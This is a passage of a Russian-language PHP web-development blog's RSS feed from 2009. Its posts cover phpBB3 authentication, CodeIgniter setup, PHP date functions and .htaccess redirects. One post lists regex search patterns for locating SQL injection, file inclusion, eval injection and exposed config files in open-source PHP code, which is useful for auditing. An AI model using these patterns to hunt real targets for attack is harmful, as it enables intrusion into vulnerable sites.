//--подключаем библиотеки</p>
<p>include($phpbb_root_path . 'common.' . $phpEx);<br />
require($phpbb_root_path . 'includes/functions_user.' . $phpEx);<br />
require($phpbb_root_path . 'includes/functions_module.' . $phpEx);</p>
<p>// Start session management<br />
$user->session_begin();<br />
$auth->acl($user->data);<br />
$user->setup('ucp');</p>
<p>// Initialize  login result array<br />
$login = array();</p>
<p>// Check if user has submitted login and password and try to log in<br />
if(isset($_POST['login']) &#038;&#038; $user->data['user_id'] == ANONYMOUS)<br />
     {<br />
     $username = request_var('login', '', true);</p>
<p>     $password = request_var('login_pass', '', true);</p>
<p>     $autologin	= (!empty($_POST['autologin'])) ? true : false;<br />
     <strong>//-- $login будет содержать  параметры пользователя если они ненужны то просто $auth->login($username, $password, $autologin);</strong><br />
    $login = $auth->login($username, $password, $autologin);<br />
   }<br />
</code></p>
<p><strong>само собой необходимо  существование зарегистрированного пользователя в phpbb3</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/23/integraciya-avtorizacii-phpbb3/feed/</wfw:commentRss>
		<slash:comments>19</slash:comments>
		</item>
		<item>
		<title>Ребята из Англии совместили Atari 2600 с проектором.   Получился еще один способ весело провести время в компании друзей.</title>
		<link>http://saintist.ru/2009/04/23/rebyata-iz-anglii-sovmestili-atari-2600-s-proektorom-poluchilsya-eshhe-odin-sposob-veselo-provesti-vremya-v-kompanii-druzej/</link>
		<comments>http://saintist.ru/2009/04/23/rebyata-iz-anglii-sovmestili-atari-2600-s-proektorom-poluchilsya-eshhe-odin-sposob-veselo-provesti-vremya-v-kompanii-druzej/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 07:01:48 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=66</guid>
		<description><![CDATA[leeds invasion from ineaux on Vimeo.]]></description>
			<content:encoded><![CDATA[<p><object width="400" height="300"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=4135816&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=4135816&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="300"></embed></object><br /><a href="http://vimeo.com/4135816">leeds invasion</a> from <a href="http://vimeo.com/user1127140">ineaux</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/23/rebyata-iz-anglii-sovmestili-atari-2600-s-proektorom-poluchilsya-eshhe-odin-sposob-veselo-provesti-vremya-v-kompanii-druzej/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>музычка  SING</title>
		<link>http://saintist.ru/2009/04/23/muzichka/</link>
		<comments>http://saintist.ru/2009/04/23/muzichka/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 08:55:04 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=74</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/G1f2M5G9KG8&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/G1f2M5G9KG8&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/23/muzichka/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Любой адрес веб-ресурса, должен начинаться с www ?</title>
		<link>http://saintist.ru/2009/04/23/lyuboj-adres-veb-resursa-dolzhen-nachinatsya-s-www/</link>
		<comments>http://saintist.ru/2009/04/23/lyuboj-adres-veb-resursa-dolzhen-nachinatsya-s-www/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 20:43:38 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[.htaccess]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=63</guid>
		<description><![CDATA[Для тех кто не знает, редирект на www делается методом добавления в .htaccess строк RewriteEngine On RewriteCond %{HTTP_HOST} ^супер.сайт RewriteRule (.*) www.супер.сайт/$1 [R=301,L] ps:DNS бывает так настроены на хостере, что прописана только запись для &#171;поддомена&#187; www и отсутствует запись для основного домена]]></description>
			<content:encoded><![CDATA[<p>Для тех кто не знает, редирект на www делается методом добавления в <strong>.htaccess </strong>строк</p>
<p><code><br />
RewriteEngine On<br />
RewriteCond %{HTTP_HOST} ^супер.сайт<br />
RewriteRule (.*) www.супер.сайт/$1 [R=301,L] </code></p>
<p>ps:DNS бывает так настроены на хостере, что прописана только запись для &#171;поддомена&#187; www  и отсутствует запись для основного домена</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/23/lyuboj-adres-veb-resursa-dolzhen-nachinatsya-s-www/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>phpBB3 Внешняя авторизация</title>
		<link>http://saintist.ru/2009/04/22/phpbb3-vneshnyaya-avtorizaciya/</link>
		<comments>http://saintist.ru/2009/04/22/phpbb3-vneshnyaya-avtorizaciya/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 19:52:36 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[phpbb3]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=59</guid>
		<description><![CDATA[Довольно часто возникает необходимость в интеграции phpBB с другой системой, например с Drupal или Joomla. В этом случае Вам повезло &#8212; готовые модули для использования единой базы пользователей c phpBB 3 в обоих системах уже созданы. Если же Вам нужно сделать единую авторизацию с более экзотической системой, то придется все делать самому. Ну или заказать [...]]]></description>
			<content:encoded><![CDATA[<p>Довольно часто возникает необходимость в интеграции phpBB с другой системой, например с Drupal или Joomla. В этом случае Вам повезло &#8212; готовые модули для использования единой базы пользователей c phpBB 3 в обоих системах уже созданы.</p>
<p>Если же Вам нужно сделать единую авторизацию с более экзотической системой, то придется все делать самому. Ну или заказать разработку у специалистов.</p>
<p>К счастью, разработчики phpBB предусмотрели эту проблему, и заранее сделали механизм авторизации легко расширяемым. В этой статье мы попробуем написать свой простой плагин авторизации.<br />
<span id="more-59"></span></p>
<p>Запрет регистрации</p>
<p>Логично предположить, что перед активацией нашего модуля авторизации мы должны запретить регистрацию в самом phpBB. Создавая плагин авторизации заранее предпологается, что пользователи будут регистрироваться в другом месте.</p>
<p>Для этого в администраторском аккаунте перейдите на вкладку Общие, и в левом меню выберите “Регистрация пользователей”. Далее отключаем регистрацию:</p>
<p><a href="http://saintist.ru/wp-content/uploads/2009/04/cancel_sign.png"><img src="http://saintist.ru/wp-content/uploads/2009/04/cancel_sign.png" alt="cancel_sign" title="cancel_sign" width="660" height="111" class="alignnone size-full wp-image-60" /></a></p>
<p>Все плагины авторизации расположены в директории includes/auth/. Там уже есть несколько готовых плагинов.<br />
auth_db &#8212; плагин, включенный по умолчанию. Он отвечает за авторизацию через базу данных phpBB.<br />
auth_apache &#8212; плагин, соответственно для авторизации использующий встроенные средства веб-сервера Apache.<br />
auth_ldap &#8212; плагин, использующий для аутентификации сетевой протокол доступа к каталогам LDAP</p>
<p>Пусть наш плагин будет называться auth_simple. Создайте файл auth_simple.php в директории includes/auth с таким содержимым:</p>
<p><code>< ?php</p>
<p>/**<br />
*<br />
* Пример плагина авторизации для phpBB3<br />
*<br />
*/</p>
<p>/**<br />
* @ignore<br />
*/<br />
if (!defined('IN_PHPBB'))<br />
{<br />
	exit;<br />
}</p>
<p>/**<br />
* Функция, отвечающая за авторизацию.<br />
*/<br />
function login_simple(&#038;$username, &#038;$password)<br />
{</p>
<p>           // Запрещаем пустой пароль.<br />
           if (!$password)<br />
           {<br />
                      return array(<br />
                                  'status' => LOGIN_ERROR_PASSWORD,<br />
                                  'error_msg' => 'NO_PASSWORD_SUPPLIED',<br />
                                  'user_row' => array('user_id' => ANONYMOUS),<br />
                      );<br />
           }</p>
<p>           // Запрещаем пустое имя пользователя.<br />
           if (!$username)<br />
           {<br />
                      return array(<br />
                                  'status' => LOGIN_ERROR_USERNAME,<br />
                                  'error_msg' => 'LOGIN_ERROR_USERNAME',<br />
                                  'user_row' => array('user_id' => ANONYMOUS),<br />
                      );<br />
           }</p>
<p>           // Обычная проверка на правильность.<br />
           if ( ("test" === $username) &#038;&#038; ("test" === $password)  )<br />
           {<br />
                // Сообщаем, что авторизация прошла успешно.<br />
                return array(<br />
                                  'status'     => LOGIN_SUCCESS,<br />
                                  'error_msg'  => false,<br />
                                  'user_row'	 => array(<br />
                                     "username"       => $username,  // Отображаемое имя пользователя<br />
                                     "user_password"  => phpbb_hash($password),  // phpbb-хеш пароля<br />
                                     "user_email"     => "test@v673.com",  // E-mail пользователя, если существует<br />
                                     "user_type"      => USER_NORMAL // Тип пользователя, объявленный в constants.php<br />
                                 ),<br />
                );</p>
<p>           }</p>
<p>           // Возвращаем ошибку авторизации.<br />
           return array(<br />
               'status'     => LOGIN_ERROR_PASSWORD,<br />
               'error_msg'  => 'LOGIN_ERROR_PASSWORD',<br />
               'user_row'   => array('user_id' => ANONYMOUS),<br />
           );</p>
<p>}</p>
<p>?></code></p>
<p>Теперь необходимо активировать наш плагин авторизации. Для этого перейдите в вкладку Общие и в левом меню выберите пункт Аутентификация. Выберите наш метод авторизации:</p>
<p><a href="http://saintist.ru/wp-content/uploads/2009/04/set_simple_auth.png"><img src="http://saintist.ru/wp-content/uploads/2009/04/set_simple_auth.png" alt="set_simple_auth" title="set_simple_auth" width="480" height="61" class="alignnone size-full wp-image-61" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/22/phpbb3-vneshnyaya-avtorizaciya/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Поиск уязвимостей в PHP-движках</title>
		<link>http://saintist.ru/2009/04/22/poisk-uyazvimostej-v-php-dvizhkax/</link>
		<comments>http://saintist.ru/2009/04/22/poisk-uyazvimostej-v-php-dvizhkax/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 19:11:33 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[framework]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[уязвимости]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=56</guid>
		<description><![CDATA[Не перестает удивлять Google,  количество, а, главное, качество разнообразных сервисов просто поражает. Одним из самых любимых и часто используемых, помимо поиска, в последнее время для стал Google Code Search. Этот сервис предоставляет возможность поиска определенных строк в коде десятков тысяч проектов с открытыми исходниками, причем имеется возможность использования регулярных выражений. Поле применения этого уникального сервиса очень велико, в частности с помощью него можно найти множество уязвимых PHP-скриптов. ]]></description>
			<content:encoded><![CDATA[<p>Не перестает удивлять Google,  количество, а, главное, качество разнообразных сервисов просто поражает. Одним из самых любимых и часто используемых, помимо поиска, в последнее время для стал <a href="http://www.google.com/codesearch">Google Code Search</a>.<br />
<a href="http://saintist.ru/wp-content/uploads/2009/04/codesearch_logo.gif"><img src="http://saintist.ru/wp-content/uploads/2009/04/codesearch_logo.gif" alt="codesearch_logo" title="codesearch_logo" width="276" height="110" class="alignnone size-full wp-image-77" /></a></p>
<p>Этот сервис предоставляет возможность поиска определенных строк в коде десятков тысяч проектов с открытыми исходниками, причем имеется возможность использования регулярных выражений.<span id="more-56"></span> Поле применения этого уникального сервиса очень велико, в частности с помощью него можно найти множество уязвимых PHP-скриптов. </p>
<p><strong>SQL-инъекции</strong><br />
lang:php from.+where.+\$_(GET|POST|COOKIE|REQUEST)\[.+\]</p>
<p>Поиск переменных из GET, POST и Cookie в SQL-запросах</p>
<p><strong>Инклуды</strong><br />
lang:php (include|require|include_once|require_once)\s*\(?[^\$;]*\$_(GET|POST|COOKIE|REQUEST)[^;]+;</p>
<p>Поиск переменных из GET, POST и Cookie в функциях include(), require(), include_once(), require_once()</p>
<p><strong>PHP-инъекции</strong><br />
lang:php eval\(.+\$_(GET|POST|COOKIE|REQUEST)\[(\"|\')\w+(\"|\')\].+\)</p>
<p>Поиск переменных из GET, POST и Cookie в функции eval()<br />
lang:php file_put_contents\((\&#187;|\&#8217;).+<\?.+(\"|\')\)</p>
<p>Поиск записи в файл динамически генерирующегося PHP-кода (очень часто на основе переданных от пользователя данных)</p>
<p><strong>Конфиги</strong><br />
lang:php file:conf\w+.inc$</p>
<p>Поиск открытых конфигов (с раcширением .inc)<br />
lang:php phpinfo\(\)</p>
<p><strong>Поиск вызова phpinfo()</strong><br />
lang:php file:phpinfo</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/22/poisk-uyazvimostej-v-php-dvizhkax/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Установка и настройка PHP framework CodeIgniter.</title>
		<link>http://saintist.ru/2009/04/22/ustanovka-i-nastrojka-php-framework-codeigniter/</link>
		<comments>http://saintist.ru/2009/04/22/ustanovka-i-nastrojka-php-framework-codeigniter/#comments</comments>
		<pubDate>Wed, 22 Apr 2009 16:33:37 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[framework]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=52</guid>
		<description><![CDATA[Для использования CodeIgniter минимум что необходимо &#8212; web сервер (например, Apache) и интерпретатор PHP. Кроме того, в большинстве случаев нужен сервер баз данных (например, MySQL). Тем кому лень все это настраивать смому могут воспользоваться готовыми пакетами &#171;Все в одном&#187;, такими как denwer или TopServer. Сразу с кажу что приведенные пример показывает как установить фреймворк на [...]]]></description>
			<content:encoded><![CDATA[<p>Для  использования CodeIgniter минимум что  необходимо  &#8212; web сервер (например, Apache) и интерпретатор PHP. Кроме того, в большинстве случаев нужен сервер баз данных (например, MySQL).</p>
<p>Тем кому лень все это настраивать смому могут воспользоваться готовыми пакетами &#171;Все в одном&#187;, такими как denwer или TopServer.</p>
<p>Сразу с кажу что  приведенные пример  показывает  как установить фреймворк  на хост поднятый локально под  операционкой семейства Windows.</p>
<p>Предположим, что все необходимые компоненты у вас установлены, а переменная сервера DOCUMENT_ROOT указывает на папку T:/sites/www/.<br />
Распаковываем в эту папку, скачанный с <span id="more-52"></span> <a href="http://codeigniter.com/download.php">официального сайта</a>, архив.</p>
<p>Если вы сейчас зайдете на ваш сайт (http://localhost/), то увидите страницу приветствия CodeIgniter. Установка  как таковая уже завершена, но,  такой вариант далеко не самый лучший.</p>
<p>Дистрибутив CodeIgniter состоит из двух частей: папки system со служебными файлами (в ней, кстати, будет размещаться ваше приложение) и основного контроллера – файл index.php. Во второй папке (user_guide) находится руководство пользователя.</p>
<p>Если папка system, находится внутри DOCUMENT_ROOT, то посетители сайта в принципе могут получить доступ к файлам, которые находятся в ней. Например, набрав в браузере нужный адресс к файлу.Именно по этой причине практически в каждой служебной папке CodeIgniter находятся файлы index.html, которые выводят текст «Directory access is forbidden» (Доступ к папке запрещен).<br />
Естественно, по настоящему запретить доступ таким образом нельзя.<br />
Но с безопасностью это практически никак не сказывается, например потому что в начале каждого скрипта, работающего в CodeIgniter прописывается строчка:</p>
<p>if (!defined(&#8216;BASEPATH&#8217;)) exit(&#8216;No direct script access allowed&#8217;);</p>
<p>Можно  уберать папку system из DOCUMENT_ROOT, т.е. публичной части. Например, перенесем в T:/sites. Т.е. получится следующая структура папок:<br />
T:/sites/system/&#8230;<br />
T:/sites/www/index.php &#8212; DOCUMENT_ROOT.</p>
<p>Но думаю это излишняя предосторожность, хотя кто как привык.</p>
<p>Этот пример даст скорее понять как  гибко можно настроить фреймворк.</p>
<p>Теперь для посетителя доступен только index.php. Но наш сайт перестал работать! Произошло это потому, что index.php не может найти системные файлы. Исправляем ситуацию.</p>
<p>Открываем index.php, и указываем в переменной $system_folder новое размещение:<br />
$system_folder = &#171;../system&#187;; Т.е. показываем что папкак системная находится на уровень выше, в родительской директории</p>
<p>Если есть желание можно удалить файлы index.html из всех системных папок.</p>
<p>Кроме того, обратите внимание на переменную $application_folder (в файле index.php). В ней указано название папки, в которой находится ваше web приложение. По-умолчанию, ей присвоено значение &#171;application&#187;.</p>
<p>Посмотрите на структуру этой папки (system/application). Здесь находятся:<br />
config/ &#8212; папка с конфигурационными файлами сайта;<br />
controllers/ &#8212; папка для контроллеров;<br />
models/ &#8212; папка для моделей;<br />
views/ &#8212; папка для представлений (видов);<br />
errors/ &#8212; здесь находятся страницы ошибок;<br />
libraries/ &#8212; библиотеки, которые относятся только к вашему приложению;<br />
hooks/ &#8212; хуки. Позволяют изменить поведение ядра фрэймворка (без изменения самих файлов ядра).</p>
<p>Эта структура папок соответствует архитектуре MVC (Модель-Представление-Контроллер). CodeIgniter содержит специальные методы, которые позволяют загружать нужные компоненты сайта из этих папок.</p>
<p>Xочу обратить внимание на обработку ошибок. В файле index.php выполняется вызов функции:<br />
error_reporting(E_ALL);</p>
<p>Это означает, что будет выведен отчет обо всех ошибках, что очень удобно во время разработки. Но после размещения готового сайта на сервере, будет лучше изменить значение параметра этой функции. Например, error_reporting(0) полностью отключит вывод сообщений об ошибках.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/22/ustanovka-i-nastrojka-php-framework-codeigniter/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Как определить длительность дня средствами PHP (function date_sunrise date_sunset  date_sun_info)</title>
		<link>http://saintist.ru/2009/04/22/kak-opredelit-dlitelnost-dnya/</link>
		<comments>http://saintist.ru/2009/04/22/kak-opredelit-dlitelnost-dnya/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 20:26:18 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=48</guid>
		<description><![CDATA[Интересные функции появилась в версии PHP 5.1.2. Они позволяет опеределить длительность дня по заданным координатам. каким образом? Очень просто, можно узнать когда взойдет солнце, и когда будет его закат. с точностью до секунды. date_sunrise- функция позволяет определять время в часах, минутах и секундах, когда произойдет восход солнца. $date = strtotime(&#171;2009-04-21&#8243;); $latitude = 14.283; // северная [...]]]></description>
			<content:encoded><![CDATA[<p>Интересные функции появилась в   версии PHP 5.1.2. Они позволяет опеределить длительность  дня по заданным координатам. каким образом? Очень просто, можно  узнать когда взойдет солнце, и когда будет его закат. с точностью до  секунды.<br />
<span id="more-48"></span><br />
<strong>date_sunrise</strong>- функция позволяет определять время в часах, минутах и секундах, когда произойдет восход солнца.</p>
<p>$date = strtotime(&#171;2009-04-21&#8243;);<br />
$latitude  = 14.283;<br />
// северная широта &#8212; знак плюс, южная &#8212; минус<br />
    $longitude = 28.25;<br />
// восточная долгота &#8212; плюс, западная &#8212; минус<br />
$sunrise = date_sunrise(<br />
                  $date,   // Метка времени (даты)<br />
                  SUNFUNCS_RET_TIMESTAMP,  // Возвращаем тоже метку<br />
                  $latitude,<br />
                  $longitude<br />
    );</p>
<p>Сначала преобразуем желаемую дату  в метку времени (количество секунд от стартовой даты , в PHP  стартовая дата это  какойто день 1970 года вроде бы 1 января) с помощью функции strtotime. Потом нам, естественно, нужно задать широту и долготу места на земле, у которого мы хотим определить время восхода и захода Солнца.Задается все в градусах. Координаты можно  взять с какого нибуть онлайн сервиса тогоже GoogleMaps.</p>
<p>Второй параметр функции говорит о том, что мы хотим вернуть метку времени вместо текстовой строки. Если бы мы хотели, чтобы функция вернула строку, вторым параметром мы бы указали SUNFUNCS_RET_STRING. Тогда она вернула бы не число, а что-то вроде «8:30».</p>
<p>Далее, чтобы превратить метку времени с строку, делаем так:</p>
<p>echo ‘Sunrise: ‘.date(’H:i:s’, $sunrise);</p>
<p>Функция date вернет текстовое представление метки времени, в данном случае в формате ЧЧ:ММ:СС. </p>
<p>Если бы мы указали вторым параметром функции date_sunrise SUNFUNCS_RET_STRING, то преобразовывать метку времени с помощью функции date нам бы не пришлось. Но функция в этом случае вернет время без учета летнего. Поэтому, чтобы учитывать переход на летнее время, используем функцию date.</p>
<p><strong>date_sunset</strong> &#8212; функция аналогична предыдущей, только возвращает время захода Солнца.</p>
<p>$date = strtotime(&#171;2008-06-10&#8243;);<br />
    $latitude  = 54.283;<br />
    $longitude = 48.25;</p>
<p>    $sunrise = date_sunset(<br />
                  $date,                   // Метка времени (даты)<br />
                  SUNFUNCS_RET_TIMESTAMP,  // Возвращаем тоже метку<br />
                  $latitude,               // Широта<br />
                  $longitude               // Долгота<br />
    );</p>
<p>Ну и напоследок, как можно догадаться, чтобы определить длительность дня, нужно из  одной даты  вычесть другую.</p>
<p>$date = strtotime(&#171;2009-04-21&#8243;);<br />
$latitude  = 14.283;<br />
$longitude = 28.25;</p>
<p>    $sunrise = date_sunrise($date, SUNFUNCS_RET_TIMESTAMP, $latitude, $longitude);<br />
    $sunset  = date_sunset($date, SUNFUNCS_RET_TIMESTAMP, $latitude, $longitude);</p>
<p>    echo &#8216;Sunrise: &#8216;.date(&#8216;H:i:s&#8217;, $sunrise);<br />
    echo &#8216;<br />&#8216;;<br />
    echo &#8216;Sunset: &#8216;.date(&#8216;H:i:s&#8217;, $sunset);<br />
    echo &#8216;<br />&#8216;;</p>
<p>    $day_length   = $sunset &#8212; $sunrise;<br />
    echo gmdate(&#171;H:i:s&#187;, $day_length);</p>
<p>в результате получим  параметр отображающий сколько   длится день в часах : минутах :  секундах </p>
<p><strong>date_sun_info</strong> &#8212; функция позволяет определять время восхода и захода Солнца, в какой час и минуту Солнце будет в зените в заданный день, время начала и окончания сумерек.</p>
<p>$sun_info = date_sun_info(strtotime(”2009-04-21?), 18.25, 24.283);</p>
<p>В этой функции долгота и широта меняются местами в параметрах. Второй параметр &#8212; долгота, третий &#8212; широта. Эта функция возвращает массив с информацией, которую мы можем получить следующим образом:</p>
<p>$sun_info = date_sun_info(strtotime(&#171;2009-04-21&#8243;), 18.25, 24.283);</p>
<p>foreach ($sun_info as $key => $val) {</p>
<p>    if ($key == &#8216;sunrise&#8217;) {</p>
<p>        $sunrise = $val;<br />
        echo &#8216;Восход: &#8216;.date(&#171;H:i:s&#187;, $sunrise).&#8217;<br />&#8216;;</p>
<p>    }</p>
<p>    if ($key == &#8216;sunset&#8217;) {</p>
<p>        $sunset = $val;<br />
        $day_length   = $sunset &#8212; $sunrise;<br />
        echo &#8216;Заход: &#8216;.date(&#171;H:i:s&#187;, $sunset).&#8217;<br />&#8216;;<br />
        echo &#8216;Долгота дня: &#8216;.gmdate(&#171;H:i:s&#187;, $day_length).&#8217;<br />&#8216;;</p>
<p>    }</p>
<p>    if ($key == &#8216;transit&#8217;) {<br />
        echo &#8216;В зените: &#8216;.date(&#171;H:i:s&#187;, $val).&#8217;<br />&#8216;;<br />
    }</p>
<p>    if ($key == &#8216;civil_twilight_begin&#8217;) {<br />
        echo &#8216;Начало утренних сумерек: &#8216;.date(&#171;H:i:s&#187;, $val).&#8217;<br />&#8216;;<br />
    }</p>
<p>    if ($key == &#8216;civil_twilight_end&#8217;) {<br />
        echo &#8216;Конец вечерних сумерек: &#8216;.date(&#171;H:i:s&#187;, $val).&#8217;<br />&#8216;;<br />
    }</p>
<p>}</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/22/kak-opredelit-dlitelnost-dnya/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>проверить ПР PR (PageRank)</title>
		<link>http://saintist.ru/2009/04/21/proverit-pr-pr-pagerank/</link>
		<comments>http://saintist.ru/2009/04/21/proverit-pr-pr-pagerank/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 07:18:32 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=44</guid>
		<description><![CDATA[как проверить PageRank? нашел как-то вот такой ресурс http://www.pr-cy.ru/ довольно хороше сделано содержит инструментарий Анализ сайта Словарь русских синонимов Счетчик тИЦ и PR Индекс цитирования Анализ контента Информация браузера Анализ внешних и внутренних ссылок Whois Генератор уникальных фраз все в одном флаконе )]]></description>
			<content:encoded><![CDATA[<p>как проверить PageRank?</p>
<p>нашел  как-то  вот такой ресурс</p>
<p>http://www.pr-cy.ru/</p>
<p>довольно  хороше сделано</p>
<p>содержит инструментарий</p>
<ul>
<li>Анализ сайта</li>
<li>Словарь русских синонимов</li>
<li>Счетчик тИЦ и PR</li>
<li>Индекс цитирования</li>
<li>Анализ контента</li>
<li>Информация браузера</li>
<li>Анализ внешних и внутренних ссылок</li>
<li>Whois</li>
<li>Генератор уникальных фраз</li>
</ul>
<p>все в одном флаконе )</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/21/proverit-pr-pr-pagerank/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Проблемы с кодировкой передаваемых  данных  из  базы в flash (UTF-8)</title>
		<link>http://saintist.ru/2009/04/21/problemy-s-kodirovkoj-peredavaemyx-dannyx-iz-bazy-v-flash/</link>
		<comments>http://saintist.ru/2009/04/21/problemy-s-kodirovkoj-peredavaemyx-dannyx-iz-bazy-v-flash/#comments</comments>
		<pubDate>Tue, 21 Apr 2009 06:53:03 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[flash]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=39</guid>
		<description><![CDATA[Как то столкнулся вот с какой проблемой есть флешка, данные берет из БД, через php при соединении с мускулем в php прописано mysql_query(«SET NAMES &#8216;utf8&#8242;&#187;); mysql_query(«SET CAHRACTER SET &#8216;utf8&#8242;&#187;); сам php файл в utf-8 сохранен как под винду так и под никсы тестил у меня все в Utf-8 база и таблицы в utf-8 embeded у [...]]]></description>
			<content:encoded><![CDATA[<p>Как то столкнулся вот с  какой проблемой</p>
<p>есть флешка, данные берет из БД, через php</p>
<p>при соединении с мускулем в php прописано<br />
<strong>mysql_query(«SET NAMES &#8216;utf8&#8242;&#187;);<br />
mysql_query(«SET CAHRACTER SET &#8216;utf8&#8242;&#187;);</strong></p>
<p>сам php файл в utf-8 сохранен как под винду так и под никсы тестил</p>
<p>у меня все в Utf-8<br />
база и таблицы в utf-8<br />
embeded  у полей текстовых  норм все необходимые  параметры включены, сам сервер отдает кирилицу  в виде</p>
<p><strong>????? ????? ?????? ???????</strong><br />
<span id="more-39"></span><br />
сервер держит КОИ8 и ВИН</p>
<p>в корне лежит .htaccess<br />
с содержимым </p>
<p><strong>CharsetDefault utf8<br />
CharsetSourceEnc utf8</strong></p>
<p>на сервере под Win нормально все работает</p>
<p>проблема была решена вот как<br />
<strong>mb_convert_encoding($return_txt,mb_internal_encoding(), &#8216;UTF-8&#8242;);</strong><br />
т.е. все полученное из  БД конвертил в UTF-8</p>
<p>для знающих  людей  решение вполне очевидное</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/04/21/problemy-s-kodirovkoj-peredavaemyx-dannyx-iz-bazy-v-flash/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Инструкция по установке (поиску) дров на неопределяющиеся устройства в Виндовс</title>
		<link>http://saintist.ru/2009/04/21/instrukciya-po-ustanovke-poisku-drov-na-neopredelyayushhiesya-ustrojstva-v-vindovs/</link>
		<comments>http://saintist.ru/2009/04/21/instrukciya-po-ustanovke-poisku-drov-na-neopredelyayushhiesya-ustrojstva-v-vindovs/#comments</comments>
		<pubDate>Mon, 20 Apr 2009 21:47:15 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[ithappens]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=31</guid>
		<description><![CDATA[Как установить драйвера, 
как определить устройство
старый комп нет дисков оригинальных с драйверами

оказывается все довольно просто]]></description>
			<content:encoded><![CDATA[<p>Как установить драйвера,<br />
как определить устройство<br />
старый комп нет дисков оригинальных с драйверами</p>
<p>оказывается все довольно просто<br />
<span id="more-31"></span><br />
идем сюда</p>
<p><a href="http://saintist.ru/wp-content/uploads/2009/04/1.png"><img class="alignnone size-full wp-image-32" title="Диспетчер устройств" src="http://saintist.ru/wp-content/uploads/2009/04/1.png" alt="Диспетчер устройств" width="600" height="441" /></a></p>
<p>присутствует строка<br />
HDAUDIO\FUNC_01&amp;VEN_10EC&amp;DEV_0883&amp;SUBSYS_1462F603</p>
<p>VEN_10EC – 10EC – код производителя<br />
DEV_0883 – 0883 – Код устройства<br />
идем сюда www.pcidatabase.com/</p>
<p>вводим в форму  поиска любо первое либо второе<br />
<a href="http://saintist.ru/wp-content/uploads/2009/04/2.png"><img class="alignnone size-full wp-image-33" title="сайт с базой устройств" src="http://saintist.ru/wp-content/uploads/2009/04/2.png" alt="сайт с базой устройств" width="600" height="382" /></a></p>
<p>результат поиска по первому коду</p>
<p><a href="http://saintist.ru/wp-content/uploads/2009/04/2.png"><img class="alignnone size-full wp-image-33" title="результат поиска по первому коду" src="http://saintist.ru/wp-content/uploads/2009/04/3.png" alt="сайт с базой устройств" width="600" height="382" /></a></p>
<p>далее находим на странице код устройства</p>
